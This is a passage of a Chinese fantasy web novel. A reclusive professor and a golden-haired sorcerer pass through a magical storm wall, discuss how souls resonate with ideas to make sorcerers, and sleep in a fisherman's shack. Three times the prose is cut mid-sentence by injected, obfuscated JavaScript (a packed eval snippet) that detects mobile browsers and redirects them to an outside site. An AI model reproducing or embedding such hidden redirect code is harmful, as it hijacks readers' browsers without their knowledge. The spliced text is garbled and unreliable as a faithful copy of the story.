这些杂活本该由水手来干,轮不到船长亲自出手——但是现在船上人手不足,只有老船医、傻兮兮的学徒小子、不把自己弄伤就谢天谢地的教授先生,还有一位莫名其妙出现在这里的龙骑士。 水手常年用来探测的瞭望台被其他人占据了,对方那头令人印象深刻的、明亮灿烂的金色长发不知为何被剪短了,龙骑士不会热似的披着一件靛蓝外袍,正低着头和站在甲板上的教授说些什么。 正值繁殖季,时不时有五颜六色的小型龙群掠过海平面,夹杂着海鸟的鸣叫,简直热闹极了。有几只龙好奇地朝着船的方向倾斜,只是没等靠近,便被一阵狂风卷到一边,半空中翻了几个跟头后才惊慌失措地拍打着翅膀远离。 风系、水系术士是海上讨生活的水手们最喜欢的人,奈何术士老爷十分稀有,且大多眼高于顶,绝对瞧不上靠出海打鱼为生的贫苦水手,这还是斯卡波船长第一次过上船上有术士的好日子,他不禁想起被风暴撕碎的大副、船员和他的“探索者号”,原本因可以回家而产生的高涨情绪顿时低落下来。 日头很晒,诺瓦站在甲板上,先是和神眷者确认了方位,对着太阳和阴影计算了一下航向,得出结论后又盯着那些波光粼粼的海面发呆,直到彻底失去兴趣。救世主的金发在阳光下晃得人眼疼,教授开始怀念自己的眼镜,再这样下去他几乎要适应那种远处朦朦胧胧的视野了。 他们此行的目的地是灰桥港,加上返程时间,诺瓦大概计算了一下,曙光庆典估计已经进入了尾声,但应该还能赶上准备回程的其他同事,证明一下自己没死在海上。船长等人本来就要回灰桥港,这下也算是回到了最初的航线。 至于神眷者,对方表示要去调查关于“龙巢宝藏”的谣言出处,顺便处理一下萨曼家族的问题。而且叹息之墙尚未彻底崩塌,没有他的话谁也出不去,风行者艾泽拉则被对方留在了阿萨奇谷保护族人。 临行之前,前去询问归期的诺瓦瞧见对方正拿着把小刀对着头发比比划划,那些被编进头发里的、由珊瑚和松石打磨而成的串珠已经被他摘下来了,一颗颗地摆放整齐。 “这些是我母亲的遗物。”见人有些好奇地凑过来打量那些色彩浓艳古朴、具有强烈异域风情的珠子,神眷者大方地表示可以随意观赏。 “卡拉克人的喜好。”教授小心地用手指捏起一颗被打磨出一圈奇异波浪状纹路的血红珊瑚珠,他对准油灯,眯起眼睛仔细观察了一会儿:“卡拉克人曾有一只族裔迁徙到了亚特兰卡郡,后来基本上和纳塔林人融合了,你的金发应该也源自这只血脉——你看,这是非常经典的海洋民族传统纹饰,我也曾在你们这里的毛线袜脚上看到过类似的图案。” 另一人同样凑了过来,两人头碰头着仔细研究了一会儿后,对方惊讶地轻唔了一声:“确实如此,鲁尼的祖母也是金发——我没想过可以从一颗珊瑚珠里推断出这么多东西,您知道很多这样有趣的知识么?” 教授将那颗珊瑚珠重新塞人手里,语气淡淡的:“只是看到了,然后顺便记下来而已。” 不过很多人会觉得他在卖弄学识,时间久了,除非故意气人,他也懒得和那些人讲话,诺瓦·布洛迪因而成了白塔大学最孤僻古怪的教授。 他转移了话题:“你为什么要剪头发,还要把碎发收集起来?” 那些如流淌阳光般的金发已经被对方剪短到耳侧,柔和精致的五官顿时显得硬朗英气了不少,有了点热血少年漫男主的架势。 “术士的头发里同样蕴含着法力,也可以作为施咒的媒介。”神眷者正仔细捡着桌面上散落的、金线般的头发,闻言解释道:“更有人认为,把头发烧成灰后吃下去,就能得到对方的力量。” 然后阿祖卡被教授那嫌弃的眼神逗笑了,将那些碎发丢进了一旁燃烧的油灯里,油灯瞬间轰得闪亮一瞬——诺瓦开始觉得这家伙像个真正意义上的魔法师。 “最重要的一点,”对方很有经验之谈地表示:“长发需要花费时间打理,既然要远行,不如剪短方便一点。” 有时候救世主大人被前世的同伴戏称为“公主殿下”也不是没有道理的。 船只忽然剧烈摇晃了一下,尚且沉浸在思考中的诺瓦一个没留神,差点摔下去,好在跳下瞭望台的神眷者手疾眼快地扣住了他的肩,确定人站稳后便礼貌地松了手。 天空不知何时迅速暗了下来,诺瓦眯起眼睛,这才发现远方有一大片阴影正在以肉眼可见的速度逼近,看起来像一朵黑沉的巨型乌云,海面不再平静,出现了许多皱褶。 “到达叹息之墙附近了,”神眷者的声音清晰传到每一个人的耳边:“都回船舱里去!” 教授忽然感到自己脚下一沉,原先那种马上要被浪尖颠起来的失重感消失了,就像有什么东西帮他增加了重量,其他水手也露出了惊讶的神情——不用说,术士大人的眷顾。 他们躲藏在纳塔林人用杉树制成的简陋木船的船舱里,那只小小的木船在惊涛骇浪的对比下,简直如海上的一粒麦粒。透过没封住的窗,诺瓦瞧见神眷者背对着他们站在甲板上,金发在他的耳边狂舞,然后他举起右手对准了船头——迎面袭来的狰狞海浪就像被什么透明的东西挡住了,仅仅只是扑到了船头的位置便不甘不愿地分流开来,朝着船只上方流窜,化为一层层浑浊的水幕。 外界那些来自风暴的恐怖声响仿佛隔了一层薄膜,不受控制、飞快转动的舵轮被一种无形的力量把住,木头发出嘎吱嘎吱的悲鸣。 木船就像被包裹进玻璃罩里,而船里的人则是雪花球里的小人。他们在咆哮涌来的浪尖之上翻滚,眼见马上要被一道巨浪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14425366|153688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吞没,又奇迹般从另一道巨浪间钻出来。 尽管双脚被固定住,不至于让人四处滚动,但诺瓦开始晕船了。一旁的学徒已经在哇哇大吐,呕吐物的酸腐味充斥了整个船舱。他将脑袋靠在窗旁,眯起眼睛,看见木船已被那些群山般的海浪包裹,看见那点在天地间一片阴惨昏沉中唯一清晰的亮色——然后他们的船一猛子扎进了海里,视野彻底被狂暴流转的、夹杂着海草、泥沙和形状不定的可怖未名物的海水吞没。 诺瓦听见学徒巴鲁尖叫的声音,朦朦胧胧失了真,老船医蜷缩在角落,一旁的船长紧紧抓住窗框,口中喃喃着向海神欧德莱斯祈祷的告文。 但是他们未被海水夺去了呼吸。他们在颠簸不定的海平面之下,四周一片昏黑,隐隐可见其上的惊涛骇浪——但那只脆弱的船只就像占据了一个独特的、被海水遗忘的空间,如一只轻盈的气泡,随着洋流的流向起伏。 然后神眷者推开舱门,就这样站在门口,他的背后是如末日般混乱的海水。 “很快就会结束了。”他环视了一下舱内的狼藉,在水手们越发敬畏的眼神中用通用语平静地说。 然后对方微微笑了一下:“教授,您能出来一下吗?” 顶着水手的侧目,诺瓦扶着舱门把手爬了出去。那如玻璃般流动的“气泡”在近距离观察下更显惊人。诺瓦想起曾在海军博物馆参观过的老式潜艇,人类被层层叠叠的厚重钢铁包裹着,仅仅只能透过那小且厚的舷窗看到电子显示屏模拟出来的深海——而现在他们可只被一层涌动的脆弱气流包裹,海洋之下的一切恐怖一览无余。 有什么东西轻轻触碰了他的脸颊,教授迷茫地眨了眨眼睛,扭过头来,正对上了一双在黑沉中更显稠艳昳丽的蓝眼睛。 “您的脸被擦出血了。”神眷者温和地说,没有告诉对方刚才那双透光度极高的烟灰色眼珠里,因狂热的好奇心折射出一种他从未在其他人眼中看见过的奇妙光彩。 诺瓦后知后觉地摸了一下眼下湿漉漉的位置,这才感到一阵刺痛,手套上沾了一层薄薄的血痂。 “应该是刚才被窗户上的木刺喇的。”他轻描淡写地说:“您要我出来干什么?” “我想证实一个猜测,”阿祖卡飞快确认了一下教授的状态,发现对方只是受了点皮外伤后微松了口气:“您只要和我一起呆在甲板上就好。” 他已经很久没和脆弱的普通人一起行动了,更别提看起来格外“易碎”的贵族。纳塔林人敬畏他,很少让他一起参加渔猎,阿祖卡也不想让纳塔林人过于依赖自己,他总要离开的,他需要做的是出手解决族人难以解决或异常紧急的问题。 而且即便是族中的小崽子也是在山野中奔跑着长大的,格外皮实耐揍,当年脸蛋精致的“小飞鸟”也是揍遍同龄孩童无敌手,大人们都只是哈哈一笑,没人会计较这些——而眼前的教授先生算是珍稀保护动物。 16. 灵魂 珍稀保护动物和他一起形象全无地坐在甲板上,浓郁冰冷的海腥味充斥了两个人的鼻腔,浪声闷闷的,就像来自另一个世界,教授着迷地盯着那些水波折射出的微弱光亮,还有从他们身边飞掠过的、大概是鱼群的奇怪阴影,下意识就开始在自己身上摸纸笔。 阿祖卡不得不出声打断他:“教授,您对术士的诞生都有哪些了解?” 对方迅速被他转移了注意力:“越是虔诚的信徒越有可能成为术士,这是费恩斯主教的说法。” 只有没有贵族身份的暴发户才上教会学校,吃大锅饭,贵族家庭会特意请来主教及以上级别的高级教士亲自为子嗣启蒙,越得势的贵族请来的教士级别越高——他们会承担类似贵族子弟私人教师的角色,但是身份更加尊贵。 不过对于不太富裕的布洛迪家族来说,这位费恩斯主教只是过来走个流程露个脸,剩下的课程还是由教区的低级教士负责。 费恩斯是一位初级使徒术士,术士的身份足以让他得到当地教区的辉光教廷主教一职了。当年诺瓦听他念叨了一堆关于吾神荣光的废话,直到对方第三次长篇大论地强调、或者说炫耀自己是如何通过虔诚祈祷,终有一天得到光明与荣耀之神的眷顾时,确认自己再也无法获取有效信息的诺瓦终于忍不住了。 “费恩斯主教,”年仅五岁的黑发孩子用那双不该出现在孩童脸上的烟灰色眼睛冷淡而严厉地盯着眼前的教士:“我不明白,为什么只要足够虔诚就能成为术士?是因为不断刺激右半脑脑皮层的某个区域从而引起某种病变,还是说所谓‘术士’是一种唯心的导向?” 最后,这场庄严而伟大的探索以费恩斯主教的阴阳怪气和布洛迪夫人陪着笑脸送走对方后的勃然大怒告终。 诺瓦觉得那位主教大概是不知道答案的,不过是靠假笑与白眼来掩盖自己的愚蠢无知——但是他的母亲显然不这样想。 “你为什么——总是这么奇怪?!” “你在故意惩罚我么?!”他这一世的母亲歇斯底里地抓着他的肩膀,尖尖的指甲几乎掐进了肉里:“你的脑子里总有一些奇怪的、恶心的、令人厌恶的坏念头——你不是那些肮脏的穷人小孩,天天说些不体面的疯话,你是布洛迪家族的长子,今后的布洛迪子爵,你今天怎么敢和费恩斯主教说这些的,光明神呐,你那野心勃勃的叔叔知道了会怎么做——” 她脱力般地瘫倒在华美却陈旧的软椅里,趴在扶手上哀哀地哭了起来。 “对不起,妈妈。”然后她听见她那古怪的独子在她身边轻声说:“但是我不知道你为什么要生气,我也不觉得叔叔知道后会做些什么。” 布洛迪夫人慢慢抬起头来,盛满泪水的视线撞上了一双平静无波、如同荒月般淡漠的烟灰色眼瞳,她甚至打了个寒战,竟从那孩子身上感受到了某种恐惧。 然后她听到对方用一种绝不会从孩童口中吐露的语气冷漠而疲惫地说:“叔叔他会乐于见到布洛迪家族的继承人和教会关系不佳的。碍于王庭议会对于继承人的决定,他暂时不会对我们做什么,但反之任何举措都有可能刺激他铤而走险——不过你需要的话,我可以现在去和那位学术不精的主教道个歉。” 不太愉悦的回忆让诺瓦皱了皱眉,逼迫自己将注意力专注于现在的话题上。大致和人复述了一下费恩斯主教的理论,教授最终总结道:“教廷和学会把持了相关信息,能够流传出来的文献少得可怜,所以具体情况我不是特别了解。” 对方安静而专注地听着,没有打断他,这让诺瓦对他增加了一点好感。 “一部分是正确的,但是我还是先大概系统地介绍一下吧。”阿祖卡沉思了一会儿,轻轻碰了碰自己胸口的位置:“这是我们的‘本源’,也可以叫做灵魂——当我们与世间各类‘理念’中的一种初次产生‘共鸣’时,理念与本源共振后会在本源上留下印记,并形成固定回路,从而可通过共鸣在本源里储存并调用对应理念的力量。” 他将那些晦涩的词句娓娓道来,如同一个最负责不过的教师,丝毫未觉自己讲述的东西是被教廷与学会严密把守的知识,绝不会透露给普通人的那种。 “那位主教只知其然而不知其所以然,要想成为一名术士,最简单的方法确实是选择并信仰一位神明。这样信徒无需和难以捕捉的理念共鸣,而是直接和神明共鸣。共鸣成功后本源上会留下神明的气息,同时也会更加容易地获取该位神明代表的理念。” 诺瓦若有所思地点了点头——明白了,神明是二道贩子。 神眷者意味不明地轻轻笑了一下:“不过与此同时,因为并不是直接与理念共鸣,信徒若想释放力量,只能通过各类媒介创造新的回路,比如吟唱、咒文、魔具等等,从而引导理念离开本源,来到外界——而这也是当今最正统的法术基础形态。我之前所说的、直接和理念共鸣的方式被现在的人视为异想天开的疯子和异端。” “这么说来,无信者同样可以成为术士——但是各大教廷不允许无信者的存在。”教授迅速发现了重点:“为什么?信徒的缺失会对神明产生影响?” “也许会,但是我还不知道具体原因。”神眷者轻声说:“千百年来,无数微小的教派被更加强势的教派吞并,这也意味着无数神明变得不为人知,直到彻底消失在历史的尘埃里。” “……我记下了,下一个问题。”教授微微颔首:“神眷者的定义是得到神明垂爱、无需通过媒介施展力量的人,也就是说,神眷者其实是——” 无信者。 那个单词被突然涌入嘴里的气流堵住了,诺瓦皱着眉,这才发现二人四周不知何时出现了一圈风墙,另一人冲他微微笑着,竖起食指轻轻触碰了下自己的嘴唇。 “……” 黑发青年面无表情地在自己傻兮兮张开的嘴上横拉了一下,表示他会保密。不过纳塔林人的宗教领袖、风暴之神乌托斯卡的神眷者,其实是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14425367|153688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一位无信者?这世界真是有够荒诞的。 那团气流终于脱离了口腔,教授被呛得低声咳嗽了好一会儿,搞得阿祖卡都有些内疚了。他刚想着要不要帮忙拍拍背,另一人总算平复了呼吸,慢慢抬起头来盯着他。 “最后一个问题——我的本源是否也可以与某种理念形成共鸣,是否可以学你们那些……神奇的、唯心的、不符合基本原理的魔法?” “……” 阿祖卡深深地凝望着那双烟灰色的眼睛。对方眼下还带着睡眠不足导致的淡淡青黑,眼白泛着血丝,偏偏因那炽烈纯粹的情感而产生如融化铁水般的瘆人光亮。 那是令人目眩神迷的野心与欲.望,偏偏其对象不是世间任何足以用钱财来衡量的实物,更像是孩童痴迷于荒芜的原野、追逐旋转的星空——那是一种很原始的、人类对于未知的好奇与渴望。 “……您的灵魂,非常、非常的强大。”神眷者的语气非常轻柔,仿佛生怕惊醒了什么。诺瓦发现对方瞳孔边缘的那些金色纹路竟在以肉眼可见的速度朝着眼中集聚,将那双眼睛染成了令人难以直视的璀璨金色——这时的神眷者看起来更像是一位不可侵犯的神明。 “奥肯塞勒河无法在您的灵魂上留下任何痕迹。”这一刻,他表现得好像从另一人的眼睛中看见了对方的灵魂——或者他真得看见了什么:“我们的本源或者说灵魂,天生被七道枷锁束缚,分别是诞生、灵智、语言、行走、情感、死亡、超脱。伴随着人的出生、成长与死亡,每个人都在逐步打开自己身上的前六道枷锁,唯有第七枷锁‘超脱’无法摆脱。” “但是我甚至没有在您的灵魂上瞧见任何枷锁的存在,它异常活跃,且生机勃勃。” 诺瓦眨了眨眼睛,有些不适应地后仰了一点。也许是为了看清“灵魂”,对方离他有点太近了,他对这种陌生的压迫感感到不安。但是下一秒,教授被人按住了后脑,脸颊被迫紧紧靠向对方的胸口。 “——比如现在。” 在一阵突如其来的巨大震荡中,他听见神眷者的声音在他耳边响起:“身为圣者术士,科伦丁王燃尽了灵魂才成功塑造出了叹息之墙,他选取的理念是‘风’和‘守护’。” “要想穿过叹息之墙,必定会和他的理念进行碰撞——我的本源在相似的共鸣下不断颤动,其余人也会因为理念的力量,导致本源难以冲破‘守护’的阻隔——但是您的灵魂没有丝毫反应,就像没有受到任何干扰。” 船只剧烈晃动起来,船体传出即将解体般的悲鸣。神眷者用手护住了他后脑,诺瓦清晰地听见来自对方胸口的心跳声,很稳,听不出任何和“颤动”相关的意味。 然后他听见那个人叹息般的回答。 “所以很抱歉,因为灵魂过于强大,我判断您将难以与某种理念产生共鸣——也就是说,您无法成为一名术士。” 漫画里的诺瓦·布洛迪直至被他砍下头颅,都只是一个普通人。 17. 探究 神眷者的体温并不烫人,带着在荒原的夜晚里,那些刮过贫瘠的流石滩的风和雪的味道。对方先很是礼貌地虚虚扣着他的后颈,但很快又改变了主意,一手环住肩膀将人彻底按进怀里,另一只手抵在甲板上。 人类沉稳的心跳之外,诺瓦听见船舱里水手们的尖叫声。他的肺叶中满是海水的腥味,远处是一种巨大的、如同远古巨兽咆哮般的水的轰鸣,随即他感到身下的甲板在不驯服的、地震般剧烈颤动起来。 神眷者的金发以奇异的方式漂浮在耳侧,某种力量以他的手为源头,迅速穿透甲板,彻底固定了整个船体。然后在一阵彻底丧失方位、身陷漩涡般的失重感后,诺瓦耳边传来了什么破碎的声音——纳塔林人的船冲破了水面,如一只灵巧的飞鱼般重新出现在海平面之上。 “……” 诺瓦睁大眼睛,甚至没发觉那只箍着他的手臂不知何时松开了。他跌跌撞撞着爬起来,扑到船舷边上——小船伴随着海浪起伏着,黑沉的乌云绵延翻滚,在天边不甘地形成了一道极为明显的分界,分界线外便是明朗的光亮。而他们的背后是如群山般沉默、即将倾倒而下的巨浪,只是直视便足以激起来自灵魂深处的恐惧,却又被迫停滞在了另一个世界里。 “……教授,您要掉下去了。” 阿祖卡无奈地抓住另一人的后衣领,抓猫似的,将几乎探出半个身体的宿敌拽了回来。对方没有计较他的这点冒犯,因为黑发青年正手忙脚乱地掏出他的羊皮本,不顾形象地趴在甲板上开始奋笔疾书。他凑过去看了一眼——看不懂,都是些古里古怪的算式与符号,但对方笔下那副人与巨浪的对比图他倒是看明白了。 水手们互相搀扶着从船舱里爬了出来,又因教授先生那副“五体投地”的怪模样互相交换了眼神。不过他们没有打扰,只是沉默着继续自己的工作,阿祖卡则回到船舱寻了张算是干净的小凳,轻轻放人面前。 “在这上面写吧。” 对方从喉咙里挤出了一点飞快的咕哝,好像是道谢——但是他很快又陷入了观测、沉思、计算书写和或是懊恼或是欣喜的嘟囔声中,着了魔似的,以旁人的视角怪吓人的。直到船只彻底离开叹息之墙附近的海域,那些巨浪也逐渐消失在视野里,教授才遗憾地丢了笔,将脑袋靠在船壁上,半闭着眼睛揉了揉额角。 “……您还好吗?” 此时天色逐渐暗了下来,天边出现了淡淡的星影。桅杆上晃晃悠悠地点起了油灯,阿祖卡站在宿敌面前,垂下眼睛,看着脸色苍白的黑发青年彻底被自己的阴影遮掩。 “有点晕船,不碍事。”诺瓦揉着胀痛的额角,因隐隐作呕的不适感皱眉。一直在颠簸不定的船上书写计算,不晕才怪。 他重新拾起笔,正想再趁着灯光最后梳理一下数据和思路,眼前突然一花,他的宝贝笔记本出现在了另一人手里。 教授不可置信地睁大眼,瞪着半蹲在他面前、胆大包天的抢劫犯。 “你——” “船长他们煮了鱼汤,您一天没怎么吃东西了,一起去吃一点吧。”救世主大人打断他的谴责,语气温和,看起来丝毫没把宿敌的怒视放在心上。 “我现在不想吃。”教授的语气缓和了一点,皱起眉来看他:“你们吃吧,不必顾虑我——请把笔记本还我。” 对方蹲在原地,平静地看着他,没有说话,但态度格外坚决。诺瓦与他对视了一会儿,终于不情不愿地开口:“……好了,我知道了。” ……为什么会有种奇怪的即视感? 教授一边扶着船壁嘶嘶着勉强爬起来,并拒绝了另一人的帮助——坐久了腿麻——一边怀疑地想。 鱼汤的味道意外得不错,连痉挛不已的胃都被热度抚平。等水手们开始将鱼骨之类的垃圾丢进海里,诺瓦找到站在船尾的神眷者,冲人摊开了手掌。 “笔记本。”他面无表情地强调道。 “在这里,我又不会昧下您的东西。”见人迅速把羊皮本塞进怀里,阿祖卡有些哭笑不得,又觉得对方有点……乖? 好像只要找对了方式顺毛撸,他的宿敌还是很好哄的。 星空已经彻底亮了起来,只要仰起头来便会彻底陷入那令人敬畏的璀璨漩涡中。海风湿润而凉爽,诺瓦站在神眷者身边,仰起头来盯着近得吓人的星空,难得让自己因饱食而困乏的大脑放空了一会儿。 “……关于可能无法成为术士一事,您是怎么想的?”阿祖卡沉默了一会儿,突然问道。 这话说得像是在戳人痛处。救世主本不想如此直接,他一向是最温柔、最善解人意、或者按他的同伴奥雷的说法——最会装模作样——的那一个,总能轻易引导旁人对他付诸信赖,不知不觉吐露他想得知的任何事,还会因他的“陪伴与倾听”感激不已。 但是他眼前的教授不同,阿祖卡想。和教授玩那套话术,要不会导致对方压根听不出潜台词,彻底陷入庄重的学术研讨,将话题拉扯得不着边际;要不便会被对方敏锐地觉察出动机,毫不留情地将他指责一番。 所以他只需要和对方吐露自己内心深处真正的欲.求就好——而这种奇妙的、前所未有的简单与轻松竟让他有些愉悦。 果不其然,对方的脸上丝毫未产生被冒犯的恼怒,只是沉思了一会儿便平静地说:“哦,其实我早有预感,所以只是有些遗憾而已。” 听起来像逞强的自我安慰,但是诺瓦并没有说谎。 术士比武者珍贵稀有得多,地位也更加超然。因此哪怕不走军功这条路,贵族们也会希望自家子嗣能够成为术士。 贵族孩童从五岁开始启蒙,不过在诺瓦看来更像是洗脑。出于好奇,以及看在布洛迪夫人的尖叫与眼泪的份上,他花费了点心思琢磨了下什么叫“虔诚”,并在三个月内自学了数十个主流神明的神史,精通了各种形式的教义问答——但是直到他一路历经正统教育卷进白塔大学神学院,自信没有人能在装模作样的专业性上指责他,诺瓦·布洛迪也依旧只是一名普通人。 反观他的堂弟波西·布洛迪,在八岁那年正式成为了一名光系术士,后又进入了最负盛名的圣巴罗多术士学院深造,现在年纪轻轻已经是一名高级使徒了,这简直让布洛迪夫人无比抓狂。 诺瓦·布洛迪是老布洛迪子爵的唯一子嗣,本该顺理成章地继承爵位。奈何老布洛迪子爵死得太早了,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14425368|153688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留下年轻的妻子和尚在咿呀学语的幼子。 一位自带封地与财产的年轻贵族寡妇,简直如同一块肥美的肉。她还有个年幼的儿子?无所谓,求婚者如嗅到血腥气的野兽纷至沓来。 这时诺瓦·布洛迪的叔叔、老布洛迪子爵的弟弟奥特莱斯·布洛迪站了出来,请求王庭议会明确布洛迪家族拥有的爵位与封地所属,而布洛迪夫人也向她的家族求援。 最终,综合考虑到帝国继承法和布洛迪夫人的请求,这块封地明面上落在了将来的诺瓦·布洛迪头上,只要其母不改嫁,就可暂时由他的母亲代管。等到诺瓦·布洛迪成年,由王庭议会审议对方符合继承条件后,再继承爵位与封地。 奥特莱斯·布洛迪并不是什么帮助照顾哥哥遗孀和年幼侄子的好心人。银鸢尾帝国原则上奉行长子继承制,长子拿走爵位和绝大多数封地与财产,其他兄弟姐妹只能得到兄长手中漏出的一星半点。 虽然布洛迪家族那点封地并不大,甚至称得上贫瘠,但是谁会嫌弃自己名下财产多呢?更何况奥特莱斯·布洛迪十分想要那个不大不小的爵位,就算不为他自己,也得为他的后代考虑。 出于对王庭议会和血缘法术“魂灵护颂”的忌惮,奥特莱斯·布洛迪暂时不敢立即设计谋杀亲侄子,但是明里暗里下点绊子是少不了的。还要“经过王庭议会的审议”就意味着偷做手脚的机会多了去,更何况那小子自己也不争气,始终都是个普通人不说,居然跑去白塔大学当了个穷酸教授。奥特莱斯·布洛迪便顺势请求等儿子波西·布洛迪成年后再进行继承资格审议,并在他的运作下得到了王庭议会的批准,其野心已经昭然若现了。 在离开白塔大学前往灰桥港之前,诺瓦还收到了母亲的来信,要求他和辉光教廷的各位主教好好攀一番关系,争取打压下他的叔叔和堂弟的嚣张气焰。但是诺瓦一向将这些当做耳边风,威胁人归威胁人,另一个世界接受的教育让他并不在乎什么贵族身份,大学教授的工资足以养活他和母亲了。再加上近年来王庭议会、教廷与皇权之间的纷争愈演愈烈,这种时候卷进去怕会再也无法逃脱,诺瓦还不想把自己的后半生浪费在这种无聊透顶的破事上。 还有最重要的一点,让诺瓦·布洛迪和那些满脸假笑与算计、偏偏愚蠢得一眼望到头的家伙虚与委蛇,他宁愿跑去深山老林和哪只灵长类动物互扔石子,而教授本人是个绝不愿意委屈自己的性格,他的头脑又总是足以支撑他那些离经叛道的、让其他人抓狂不已偏又无可奈何的古怪行为。 时间回到现在,阿祖卡还在想些措辞安慰人呢,却见教授忽得抬起眼来,用一种带着诡异热切的瘆人眼神盯着他:“不过也许你会乐意担任我的观察研究对象?——请放心,我不会对你做有反实验道德的事,也不会向任何人暴露你的实验数据,这关乎我的道德底线,而你可以相信这一点。” 术士十分珍贵,常年以来诺瓦想要仔细研究都没什么机会,总不能对他那多年来也没见几面的堂弟下手吧?现在虽然自己成不了术士,但眼前不是还有个现成的么?况且对方和他是合作关系,样本独特到可能是世间唯二,除了有些怪癖之外不算讨人厌,简直完美。 19. 火焰 门帘再次被人掀开,船长的妻子举着一盏油灯,压低声音唤道:“布洛迪大人,阿祖卡大人,夜风挺冷的——而且这儿附近会有治安官,两位要不还是进来吧。” “……请叫我教授就好。” 诺瓦冲她微微点头,率先弯腰钻进那逼仄的窝棚。 药已经煮好了,船长小心翼翼地舀出一碗,一点点喂进孙女嘴里。很快,虽然仍处于昏睡中,但女孩儿的气息明显平和了不少,体温也开始下降。 老妇人正忙着四处搜寻家中的食物和衣物,结果只找出了破破烂烂一堆。她局促地用手擦拭着腰间,羞愧地嗫嚅道:“之前那群人把家里都砸得差不多了,您瞧,这真是,吃的、被褥都没有……” 她忽得站了起来准备向外走:“我去找邻居借些——” “不必。”黑发青年皱着眉拦住她,他这幅模样有些严厉,老人不由瑟缩了一下,诺瓦又强逼着自己放轻了语气:“我们之前在船上吃过了,不用麻烦。” 好在很快神眷者接替了他的工作,那张漂亮温柔的脸很轻易就让人放松下来:“我们也有带衣服,凑合一晚没什么——请放心,我会照顾好教授先生的。” 说是照顾,对方还真从行李里翻出了两条薄毯,又将自己那条披风摊在角落里,隔绝潮湿的木板。中途船长夫妇还试图让他们睡在唯一的床上,一个大男人可没脸和生病的小女孩抢床铺,诺瓦立马拒绝了。 海港夜晚的气温真有些凉,好在嗅觉已经彻底麻木,船长夫妇大概在另一个角落里睡下了,诺瓦裹紧身上的毯子,试图催眠自己入睡,结果刚有些迷糊就被人轻轻推了推肩膀。 他皱着眉睁开眼,却见神眷者端着一碗腥臭难闻的可怕汤药,满脸微笑,似曾相识地蹲在他面前。 诺瓦:“……” “教授,您也喝上一碗吧。”对方用纳塔林人的语言轻声说。 “……我想我应该没有陷入昏迷?”黑发青年极其抗拒地拧着眉头。 “您没有感觉到么?您在发低烧。”阿祖卡伸手摸了摸另一人的额头——不知是因为困倦还是疲病,对方看起来有些迟钝,好一会儿才反应过来别开头去,小半个脑袋都埋进了毯子里。 连日的海上奔波和精神紧绷对教授先生来说还是太勉强了,稍微安顿下来,身体立马爆发了抗议。 救世主大人干脆降尊纡贵地将人扶了起来,药直接不容置疑地递到宿敌嘴边:“请不要撒娇,这样下去明天绝对会发展成高烧的。” 神眷者又用那种不赞同的眼神看着他了,诺瓦有些迷迷糊糊地想,两个世界的父母都没这样管过他,恶,好恶心的味道——而且他说了些什么?撒娇?见鬼的动词,那家伙又在发什么疯…… “教授?”阿祖卡将声音压得更低一点。 被毯子包裹、半垂着眼发呆的人影终于动了,自己捧住药碗,很听话地一饮而尽——阿祖卡注意到对方居然入睡时还戴着手套,他可不知道能上手捏虫薅龙毛的教授先生有洁癖。 “我很困了,请闭嘴。” 没等阿祖卡深思,另一人已经将药碗丢在一边,裹紧毯子翻身躺下,又背对着他硬邦邦地丢下一句“晚安”。 哭笑不得的救世主:“……” “好,晚安。” 他叹了口气,盖好自己的毯子挨着人躺下。以前阿祖卡也没少这样和同族或朋友挨挨挤挤睡一张褥,不知怎的,今晚他却有些睡不着,在黑暗里不断回想那些零碎的记忆碎片,有前世的,有漫画剧情,有现在的,有他的朋友,他的家人,还有他的宿敌,如谜题般的宿敌…… 那些或是愉悦或是痛苦的记忆在脑中翻滚熬煮,渐渐的,他几乎要彻底陷入沉睡时,却被身旁人的动静惊醒。 “……教授?” 阿祖卡低声唤道。借着那些从破损木缝中透的暗淡的光,他瞧见黑发青年用力地蜷缩着,呈现出一个胎儿般的姿势,毯子都被掀到了一边。 那人眉头紧锁,双眼紧闭,喉咙里不受控地挤出些许微弱的呻.吟。对方的手正死死扣着肩颈,试图抓挠自己,就像想要借此释放出灵魂深处的痛苦——但是由于带着手套的缘故,手指只能一点点无力地滑落下去。 阿祖卡迅速在两人四周设下了风的结界,微弱却无比坚固的气流甚至没有吹起木板间的尘埃。他先是试探着推了推,又低声喊了几次对方姓名,见人没反应,只是越发无助地想要将自己藏起来,裸.露的后颈清晰绷出脊骨的嶙峋,神眷者沉默了一会儿,蓝眼睛在夜色下显得格外幽暗深沉——良久,他终于伸出手来,一点点将人搂进了怀里,小心地慢慢拍抚着对方的脊背。 